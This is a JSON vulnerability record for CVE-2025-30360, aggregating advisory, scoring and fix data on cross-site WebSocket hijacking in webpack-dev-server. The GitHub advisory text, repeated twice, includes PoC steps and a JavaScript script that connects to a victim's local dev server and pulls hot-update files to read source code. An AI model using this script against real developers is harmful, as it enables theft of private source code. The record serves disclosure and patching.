{"id":"CVE-2025-30360","aliases":["CLSA-2026-1774311630","CLSA-2026-1774398063","CLSA-2026-1774398065","CLSA-2026-1776299677","CLSA-2026-1779324462","CLSA-2026-1779410890","CLSA-2026-1784077483","CLSA-2026-1785204346","CLSA-2026-1786365773","CLSA-2026-1787821986","CLSA-2026-1787837465","CLSA-2026-1790944348","EUVD-2025-16764","GHSA-9jgg-88mc-972h","ROOT-APP-NPM-CVE-2025-30360"],"status":"published","title":"webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser","description":"webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00357,"percentile":0.29702,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-346"],"published":"2025-06-03T17:41:59Z","modified":"2026-11-05T13:28:21Z","fixes":[{"ecosystem":"npm","package":"webpack-dev-server","fixed_in":["5.2.1"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"webpack-dev-server","fixed_in":["4.10.0-aikido.1","3.11.3-aikido.2","4.10.0-aikido.2","3.11.3-aikido.3","5.0.4-aikido.1","5.0.4-aikido.2","3.11.3-aikido.4","4.10.0-aikido.3"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/webpack-dev-server","fixed_in":["4.10.0-root.io.1","3.11.3-root.io.2","4.10.0-root.io.2","3.11.3-root.io.3","5.0.4-root.io.1","5.0.4-root.io.2","3.11.3-root.io.4","4.10.0-root.io.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.2.0"},{"fixed":"5.2.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.15.1-tuxcare.0"},{"fixed":"4.15.1-tuxcare.1"}]}],"versions":["4.15.1"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.7.3-tuxcare.0"},{"fixed":"4.7.3-tuxcare.1"}]}],"versions":["4.7.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.11.0-tuxcare.0"},{"fixed":"3.11.0-tuxcare.1"}]}],"versions":["3.11.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.14-tuxcare.0"},{"fixed":"3.1.14-tuxcare.1"}]}],"versions":["3.1.14"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.11.2-tuxcare.0"},{"fixed":"3.11.2-tuxcare.1"}]}],"versions":["3.11.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.11.0-tuxcare.0"},{"fixed":"4.11.0-tuxcare.1"}]}],"versions":["4.11.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.15.2-tuxcare.0"},{"fixed":"4.15.2-tuxcare.1"}]}],"versions":["4.15.2"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.1-tuxcare.0"},{"fixed":"2.7.1-tuxcare.4"}]}],"versions":["2.7.1","2.7.1-tuxcare.1","2.7.1-tuxcare.2","2.7.1-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.11.3-tuxcare.0"},{"fixed":"3.11.3-tuxcare.4"}]}],"versions":["3.11.3","3.11.3-tuxcare.1","3.11.3-tuxcare.2","3.11.3-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.11.5-tuxcare.0"},{"fixed":"2.11.5-tuxcare.4"}]}],"versions":["2.11.5","2.11.5-tuxcare.1","2.11.5-tuxcare.2","2.11.5-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.11.1-tuxcare.0"},{"fixed":"4.11.1-tuxcare.4"}]}],"versions":["4.11.1","4.11.1-tuxcare.1","4.11.1-tuxcare.2","4.11.1-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.9.3-tuxcare.0"},{"fixed":"4.9.3-tuxcare.2"}]}],"versions":["4.9.3","4.9.3-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"npm","package":"webpack-dev-server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.2.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.10.0-aikido.1"},{"fixed":"3.11.3-aikido.2"},{"fixed":"4.10.0-aikido.2"},{"fixed":"3.11.3-aikido.3"},{"fixed":"5.0.4-aikido.1"},{"fixed":"5.0.4-aikido.2"},{"fixed":"3.11.3-aikido.4"},{"fixed":"4.10.0-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/webpack-dev-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.10.0-root.io.1"},{"fixed":"3.11.3-root.io.2"},{"fixed":"4.10.0-root.io.2"},{"fixed":"3.11.3-root.io.3"},{"fixed":"5.0.4-root.io.1"},{"fixed":"5.0.4-root.io.2"},{"fixed":"3.11.3-root.io.4"},{"fixed":"4.10.0-root.io.3"}]}]}],"products":[{"vendor":"webpack","product":"webpack-dev-server"},{"vendor":"webpack-dev-server","product":"webpack-dev-server"},{"vendor":"webpack.js","product":"webpack-dev-server"}],"references":[{"url":"https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127","tags":["x_refsource_MISC","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30360","tags":["advisory"]},{"url":"https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9jgg-88mc-972h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30360.json","tags":["advisory"]},{"url":"https://github.com/webpack/webpack-dev-server","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-30360","title":"webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser","description":"webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.","status":"published","published":"2025-06-03T17:41:59.457Z","modified":"2025-06-03T17:58:12.605Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-346"],"updated_at":"2026-11-02T14:32:35.742256Z"}],"euvd":[{"id":"EUVD-2025-16764","description":"webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.","status":"published","published":"2025-06-03T17:41:59Z","modified":"2025-06-03T17:58:12Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T20:32:30.496028Z"}],"ghsa":[{"id":"GHSA-9jgg-88mc-972h","title":"webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser","description":"### Summary\nSource code may be stolen when you access a malicious web site with non-Chromium based browser.\n\n### Details\nThe `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.\nBut webpack-dev-server always allows IP address `Origin` headers.\nhttps://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127\nThis allows websites that are served on IP addresses to connect WebSocket.\nBy using the same method described in [the article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages) linked from CVE-2018-14732, the attacker get the source code.\n\nrelated commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that `checkHost` function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.\n\nThis vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to [the non-HTTPS private access blocking feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18418233/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `http://{ipaddress}/?target=http://localhost:8080\u0026file=main` with a non-Chromium browser (I used Firefox 134.0.1)\n5. Edit `src/index.js` in the extracted directory\n6. You can see the content of `src/index.js`\n\n![image](https://github.com/user-attachments/assets/7ce3cad7-1a4d-4778-baae-1adae5e93ba4)\n\nThe script in the POC site is:\n```js\nwindow.webpackHotUpdate = (...args) =\u003e {\n    console.log(...args);\n    for (i in args[1]) {\n        document.body.innerText = args[1][i].toString() + document.body.innerText\n\t    console.log(args[1][i])\n    }\n}\n\nlet params = new URLSearchParams(window.location.search);\nlet target = new URL(params.get('target') || 'http://127.0.0.1:8080');\nlet file = params.get('file')\nlet wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';\nlet wsPort = target.port;\nvar currentHash = '';\nvar currentHash2 = '';\nlet wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;\nws = new WebSocket(wsTarget);\nws.onmessage = event =\u003e {\n    console.log(event.data);\n    if (event.data.match('\"type\":\"ok\"')) {\n        s = document.createElement('script');\n        s.src = `${target}${file}.${currentHash2}.hot-update.js`;\n        document.body.appendChild(s)\n    }\n    r = event.data.match(/\"([0-9a-f]{20})\"/);\n    if (r !== null) {\n        currentHash2 = currentHash;\n        currentHash = r[1];\n        console.log(currentHash, currentHash2);\n    }\n}\n```\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.","status":"published","published":"2025-06-04T21:09:38Z","modified":"2025-10-03T13:25:56Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-346"],"updated_at":"2026-11-02T14:38:59.83883Z"}],"nvd":[{"id":"CVE-2025-30360","description":"webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.","status":"published","published":"2025-06-03T18:15:25.41Z","modified":"2026-06-17T09:08:34.903Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-346"],"updated_at":"2026-11-02T14:11:10.143444Z"}],"osv":[{"id":"CVE-2025-30360","title":"webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser","description":"webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.","status":"published","published":"2025-06-03T17:41:59.457Z","modified":"2026-10-28T02:30:53.856642172Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-346"],"updated_at":"2026-11-02T15:44:47.708311Z"},{"id":"GHSA-9jgg-88mc-972h","title":"webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser","description":"### Summary\nSource code may be stolen when you access a malicious web site with non-Chromium based browser.\n\n### Details\nThe `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.\nBut webpack-dev-server always allows IP address `Origin` headers.\nhttps://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127\nThis allows websites that are served on IP addresses to connect WebSocket.\nBy using the same method described in [the article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages) linked from CVE-2018-14732, the attacker get the source code.\n\nrelated commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that `checkHost` function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.\n\nThis vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to [the non-HTTPS private access blocking feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18418233/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `http://{ipaddress}/?target=http://localhost:8080\u0026file=main` with a non-Chromium browser (I used Firefox 134.0.1)\n5. Edit `src/index.js` in the extracted directory\n6. You can see the content of `src/index.js`\n\n![image](https://github.com/user-attachments/assets/7ce3cad7-1a4d-4778-baae-1adae5e93ba4)\n\nThe script in the POC site is:\n```js\nwindow.webpackHotUpdate = (...args) =\u003e {\n    console.log(...args);\n    for (i in args[1]) {\n        document.body.innerText = args[1][i].toString() + document.body.innerText\n\t    console.log(args[1][i])\n    }\n}\n\nlet params = new URLSearchParams(window.location.search);\nlet target = new URL(params.get('target') || 'http://127.0.0.1:8080');\nlet file = params.get('file')\nlet wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';\nlet wsPort = target.port;\nvar currentHash = '';\nvar currentHash2 = '';\nlet wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;\nws = new WebSocket(wsTarget);\nws.onmessage = event =\u003e {\n    console.log(event.data);\n    if (event.data.match('\"type\":\"ok\"')) {\n        s = document.createElement('script');\n        s.src = `${target}${file}.${currentHash2}.hot-update.js`;\n        document.body.appendChild(s)\n    }\n    r = event.data.match(/\"([0-9a-f]{20})\"/);\n    if (r !== null) {\n        currentHash2 = currentHash;\n        currentHash = r[1];\n        console.log(currentHash, currentHash2);\n    }\n}\n```\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.","status":"published","published":"2025-06-04T21:09:38Z","modified":"2026-09-10T03:50:25.088634204Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-346"],"updated_at":"2026-11-02T15:46:43.875515Z"},{"id":"CLSA-2026-1774311630","title":"TuxCare security update for webpack-dev-server (3 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.15.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-15T09:47:03.611652392Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774398063","title":"TuxCare security update for webpack-dev-server (2 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.7.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-15T09:46:57.127333932Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774398065","title":"TuxCare security update for webpack-dev-server (2 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.11.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-15T09:47:05.341717364Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1776299677","title":"TuxCare security update for webpack-dev-server (2 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.1.14-tuxcare.1.","status":"published","published":"2026-08-04T14:52:26Z","modified":"2026-10-15T09:47:02.8138743Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1779324462","title":"TuxCare security update for webpack-dev-server (2 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.11.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:33Z","modified":"2026-10-15T09:48:03.69475879Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"CLSA-2026-1779410890","title":"TuxCare security update for webpack-dev-server (2 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.11.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:33Z","modified":"2026-10-15T09:48:03.617146333Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"CLSA-2026-1784077483","title":"TuxCare security update for webpack-dev-server (3 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.15.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:43Z","modified":"2026-10-15T09:47:28.998982718Z","updated_at":"2026-11-02T15:43:46.151924Z"},{"id":"CLSA-2026-1785204346","title":"TuxCare security update for webpack-dev-server (3 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 2.7.1-tuxcare.4.","status":"published","published":"2026-08-04T14:52:50Z","modified":"2026-10-15T09:48:03.826281487Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1786365773","title":"TuxCare security update for webpack-dev-server (3 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 3.11.3-tuxcare.4.","status":"published","published":"2026-08-10T12:42:53Z","modified":"2026-11-05T13:28:21.916037226Z","updated_at":"2026-11-05T16:37:45.64821Z"},{"id":"CLSA-2026-1787821986","title":"TuxCare security update for webpack-dev-server (3 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 2.11.5-tuxcare.4.","status":"published","published":"2026-08-27T09:13:06Z","modified":"2026-10-15T09:48:03.099814515Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1787837465","title":"TuxCare security update for webpack-dev-server (3 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.11.1-tuxcare.4.","status":"published","published":"2026-08-27T13:31:05Z","modified":"2026-10-15T09:48:03.192006457Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1790944348","title":"TuxCare security update for webpack-dev-server (2 CVEs)","description":"TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.9.3-tuxcare.2.","status":"published","published":"2026-10-02T12:32:28Z","modified":"2026-10-15T09:47:57.925209546Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"ROOT-APP-NPM-CVE-2025-30360","title":"CVE-2025-30360 in webpack-dev-server - Patched by Root","description":"Root has patched CVE-2025-30360 in the webpack-dev-server package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-08-21T13:00:08Z","modified":"2026-08-21T13:45:09.266251959Z","updated_at":"2026-11-02T15:53:27.362922Z"}]}}